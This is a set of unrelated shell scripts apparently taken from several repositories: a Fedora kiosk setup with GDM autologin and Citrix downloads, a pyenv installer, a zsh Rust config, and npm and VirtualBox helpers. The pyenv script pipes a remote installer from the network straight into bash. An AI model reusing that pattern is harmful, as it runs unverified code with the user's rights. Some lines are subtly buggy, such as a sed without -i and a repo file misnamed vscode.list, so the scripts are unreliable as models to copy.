echoFunc "Release Version: ${releaseinfo}"
if [ $elver -ge 25 ] ; then
	echoFunc "Version is: ${elver}"
else
	echoFunc "You need to be running fedora version 25 or later."
	echoFunc "Unsupported Fedora version: ${elver}"
	echoFunc "Error! Exiting with code:6"
	exit 6
fi

# Verify there's a network connection
case "$(curl -s --max-time 2 -I $testsite | sed 's/^[^ ]*  *\([0-9]\).*/\1/; 1q')" in
	[23])
		echoFunc "Network is up! Yay!"
		;;
	5)
		echoFunc "Error: A web proxy won't let us through."
		echoFunc "Exiting with error code 2."
		exit 2
		;;
	*)
		echoFunc "Error: The network is down or very slow."
		echoFunc "Exiting with error code 2."
		exit 2
		;;
esac

# Adding kiosk user
if [ -z "$(getent passwd kiosk)" ] ; then
    echoFunc "Adding the user 'kiosk' to the system."
    useradd kiosk
else
    echoFunc "The user 'kiosk' already exists."
fi

# Start installing some dependancies.
echoFunc "Installing dependancies:"
echoFunc "This section will be downloading over 600 MB and will take a significant amount of time."
echoFunc "Overall Progress: 5%"
echoFunc "Installing: Basic Desktop Group"
dnf -y group install "Basic Desktop" >> $log &
echo -n "Progress: "
while [ -e /proc/$! ] ; do
	echo -n "."
	sleep 5
done
echoFunc "Finished."
echoFunc "Overall Progress 25%"
installPackage "gdm"
installPackage "matchbox-window-manager"
echoFunc "Overall Progress: 40%"
installPackage "gnome-session-xsession"
installPackage "xorg-x11-xinit-session"
echoFunc "Overall Progress: 50%"
installPackage "chromium"

if [ $citrix = yes ] ;then
	echoFunc "Downloading Citrix Receiver (Full)"
	url1="https:"
	url2=`curl -s -L "https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external" | grep ICAClient-rhel.*${cpu}.rpm? | sed 's/.*rel=.\(.*\)..id=.*/\1/'`
	url=`echo "${url1}${url2}"`
	curl -s -o /tmp/ICAClient-rhel.${cpu}.rpm "${url}"
	echoFunc "Download complete."
	installPackage "/tmp/ICAClient-rhel.${cpu}.rpm"
	echoFunc "Removing temp file."
	rm /tmp/ICAClient-rhel.${cpu}.rpm

else
	echoFunc "Skipping Citrix (FULL) Receiver install."
fi

if [ $citrixweb = yes ] ;then
        echoFunc "Downloading Citrix Receiver for Web"
        url1="https:"
        url2=`curl -s -L "https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external" | grep ICAClientWeb-rhel.*${cpu}.rpm? | sed 's/.*rel=.\(.*\)..id=.*/\1/'`
        url=`echo "${url1}${url2}"`
        curl -s -o /tmp/ICAClientWeb-rhel.${cpu}.rpm "${url}"
        echoFunc "Download complete."
        installPackage "/tmp/ICAClientWeb-rhel.${cpu}.rpm"
        echoFunc "Removing temp file."
        rm /tmp/ICAClientWeb-rhel.${cpu}.rpm
else
        echoFunc "Skipping Citrix Receiver for Web install."
fi

if [ $citrixusb = yes ] ;then
	echoFunc "Installing Citrix USB Support"
	url1="https:"
	url2=`curl -s -L "https://www.citrix.com/downloads/citrix-receiver/linux/receiver-for-linux-latest.html#ctx-dl-eula-external" | grep ctxusb.*${cpu}.rpm? | sed 's/.*rel=.\(.*\)..id=.*/\1/'`
	url=`echo "${url1}${url2}"`
	curl -s -o /tmp/ctxusb.${cpu}.rpm "${url}"
	echoFunc "Download complete."
	installPackage "/tmp/ctxusb.${cpu}.rpm"
	echoFunc "Removing temp file."
	rm /tmp/ctxusb.${cpu}.rpm
else
	echoFunc "Skipping Citrix USB Support."
fi

echoFunc "Overall Progress: 80%"

# Run some tests to make sure that the programs actually installed.

if [ ! $( rpm -qa | grep -w chromium ) ] ; then
        echoFunc "Chromium not found!"
	echoFunc "Exiting with error code: 3"
	exit 3
else
        echo "Chromium install verified"
fi

if [ $citrix = yes ] && [ -e /opt/Citrix/ICAClient/wfica ] ; then
	echoFunc "Citrix install verified."
else
	if [ $citrix = yes ] ; then
		echoFunc "Citrix seemed to fail the install."
		echoFunc "Exiting with error code: 4"
		exit 4
	fi
fi

if [ $citrixweb = yes ] && [ -e /opt/Citrix/ICAClient/wfica ] ; then
        echoFunc "Citrix install verified."
else
        if [ $citrixweb = yes ] ; then
                echoFunc "Citrix seemed to fail the install."
                echoFunc "Exiting with error code: 4"
                exit 4
        fi
fi

# Config Machine for Kiosk Attributes
echoFunc "Checking login manager (GDM) for automatic login."
autologin=$( cat /etc/gdm/custom.conf | grep AutomaticLoginEnable=True )
loginname=$( cat /etc/gdm/custom.conf | grep AutomaticLogin=kiosk )
if [ -n "$autologin" ]
then
	echoFunc "File is already configured for automatic login."
	echoFunc "Current automatic login config: ${autologin}"
	echoFunc "Check the GDM file /etc/gdm/custom.conf."
	cat /etc/gdm/custom.conf 1>> $log 2>> $log
else
	echoFunc "Adding line to /etc/gdm/custom.conf for automatic login."
	sed -i '/daemon]/aAutomaticLoginEnable=True' /etc/gdm/custom.conf
fi
if [ -n "$loginname" ]
then
	echo "File is already configured for a user to autologin."
	if [$(echo $loginname | sed 's/AutomaticLogin=//g') != kiosk ]
	then
		echoFunc "A different user was set to automatically login: ${loginname}"
		echoFunc "Changing the user to kiosk"
		sed "s/${loginname}/AutomaticLogin=kiosk/" /etc/gdm/custom.conf
		echoFunc "User replaced."
	else
		echoFunc "User: 'kiosk' was already configured."
	fi
else
	echoFunc "Adding lines to enable kiosk user in /etc/gdm/custom.conf"
	sed -i '/AutomaticLoginEnable=True/aAutomaticLogin=kiosk' /etc/gdm/custom.conf
fi
echoFunc "Adding line to /etc/gdm/custom.conf for default X Session."
echoFunc "And creating session file for specific user in /var/lib/AccountsService/users/kiosk."
sed -i '/AutomaticLogin=kiosk/aDefaultSession=xinit-compat.desktop' /etc/gdm/custom.conf
touch /var/lib/AccountsService/users/kiosk
chmod 644 /var/lib/AccountsService/users/kiosk
echo "[User]" >> /var/lib/AccountsService/users/kiosk
echo "Language=" >> /var/lib/AccountsService/users/kiosk
echo "XSession=xinit-compat" >> /var/lib/AccountsService/users/kiosk
echo "SystemAccount=false" >> /var/lib/AccountsService/users/kiosk

echoFunc "Overall Progress: 90%"

echoFunc "Configuring system to start in graphical mode."
systemctl set-default graphical.target
echoFunc "Enableing GDM"
systemctl enable gdm

# Rewrite the firstboot file.
echoFunc "Disabling firstboot."
chkconfig firstboot off
echo "RUN_FIRSTBOOT=no" > /etc/sysconfig/firstboot
rpm -e initial-setup initial-setup-gui

# Create conf files in /home/kiosk.
echoFunc "Generating new .xsession file."
cat << EOF > /home/kiosk/.xsession
xset s off
xset -dpms
matchbox-window-manager &
while true; do
	chromium-browser --kiosk --incognito --no-default-browser-check --no-first-run --homepage '$homePage'
done
EOF
chmod +x /home/kiosk/.xsession

# Create .dmrc file
echoFunc "Creating .dmrc desktop profile session file."
echo "[Desktop]" > /home/kiosk/.dmrc
echo "Session=xinit-compat" >> /home/kiosk/.dmrc
echo "Language=$LANG" >> /home/kiosk/.dmrc

# Avoid Gnome's Initial Setup.
echoFunc "Creating config to diable Gnome's initial setup."
mkdir -p /home/kiosk/.config
echo "yes" > /home/kiosk/.config/gnome-initial-setup-done

# Modify magic file for citrix mime-type and accept eula
if [ $citrix = yes ] || [ $citrixweb = yes ] ; then
	echo "# Citrix File Types" >> /usr/share/misc/magic
	echo "20	search/50	WFClient	Citrix Client File" >> /usr/share/misc/magic
	echo "!:mime	application/x-ica" >> /usr/share/misc/magic
	cd /usr/share/misc
	file -C -m /usr/share/misc/magic
	cd ~/
	# Accept EULA to avoid dialog at first start
	mkdir /home/kiosk/.ICAClient
	touch /home/kiosk/.ICAClient/.eula_accepted
fi

# Cleanup
echoFunc "Cleaning up some cached items for additional space."
dnf -y clean all

# Force ~/ ownship for kiosk
echoFunc "Checking home disk partions"
chown -Rfv kiosk:kiosk /home/kiosk

# All done!
echoFunc "Overall Progress: 100%"
echoFunc "Script Complete."
echoFunc "Please reboot your computer for changes to take effect."
echoFunc "Exiting successfully with code: 0"
exit 0


<reponame>guanwei/scripts<gh_stars>0
#!/usr/bin/env bash

set -e
[ -n "$DEBUG" ] && set -x

# define functions
echo_title()
{
    echo -e "\e[0;34m$1\e[0m"
}

echo_success()
{
    echo -e "\e[0;32m[✔]\e[0m $1"
}

echo_error()
{
    echo -e "\e[0;31m[✘]\e[0m $1"
}

# install pyenv
curl -sSL https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash

if [ -z "$(grep '# pyenv' ~/.bash_profile)" ] ; then
    cat >> ~/.bash_profile << EOF

# pyenv
export PATH="\$HOME/.pyenv/bin:\$PATH"
eval "\$(pyenv init -)"
eval "\$(pyenv virtualenv-init -)"
EOF
    source ~/.bash_profile
fi

# update pyenv
pyenv update

# install python3
sudo yum install -y zlib-devel bzip2 bzip2-devel readline-devel sqlite sqlite-devel openssl-devel >/dev/null
pyenv install -v 3.5.1
pyenv rehash
pyenv global 3.5.1
pip install --upgrade pip
pyenv version


<gh_stars>1-10
#!/bin/zsh
emulate -LR zsh

# ====================================================================================== #
#                          Rust & Cargo integrations                                     #
# ====================================================================================== #
# Depends on .zshrc                                                                      #
# ====================================================================================== #

# Homedir for rustup
declare -gx RUSTUP_HOME="$XDG_CACHE_HOME/rustup"

# Homedir for cargo
declare -gx CARGO_HOME="$XDG_CONFIG_HOME/cargo"

# Append to PATH
if [[ -d "$CARGO_HOME/bin" ]]; then
  path+=("$CARGO_HOME/bin")
  declare -aU path
fi


<reponame>kazuminn/minos<filename>start.sh
sudo apt-get install llvm clang lld-9 qemu;
mkdir -p image/EFI/BOOT


#!/bin/bash
user=$1
pkgs=`find packages -maxdepth 1 -mindepth 1`
cwd=`pwd`
for pkg in $pkgs
do
    cd $cwd
    if [ -e "${pkg}/package.json" ]
    then
      cd $pkg
      echo ">>>>>> Owner Adding"
      echo ">>>>>>" $pkg
      npm owner add $user
    fi
done
cd $cwd


<reponame>canhnht/ubuntu-setup
#!/usr/bin/env bash

# Exit on error
set -e

# Exit on error in any of pipe commands
set -o pipefail

sudo -v

# Declare Virtual Box version
VBOX_VERSION=5.2

echo -n "Installing Virtual Box ..."

# Adds the Virtual Box apt PPA
sudo sh -c 'echo "deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" > /etc/apt/sources.list.d/vscode.list'

# Imports  Virtual Box gpg key
curl -sSL https://www.virtualbox.org/download/oracle_vbox_2016.asc | sudo apt-key add - /dev/null 2>&1

# Update packages and Installs Virtual Box Code latest version
sudo apt-get update >/dev/null
sudo apt-get install -y virtualbox-${VBOX_VERSION} >/dev/null

# Verify and exit installation
VBOX_CHECK="$(vboxmanage -v 1>&1)"
if [[ "$VBOX_CHECK" == *"${VBOX_VERSION}"* ]]; then
  echo -e "\\033[0;32m[OK]\\033[0m"
  exit 0
else
  echo -e "\\033[0;31m[FAILED]\\033[0m"
  exit 1
fi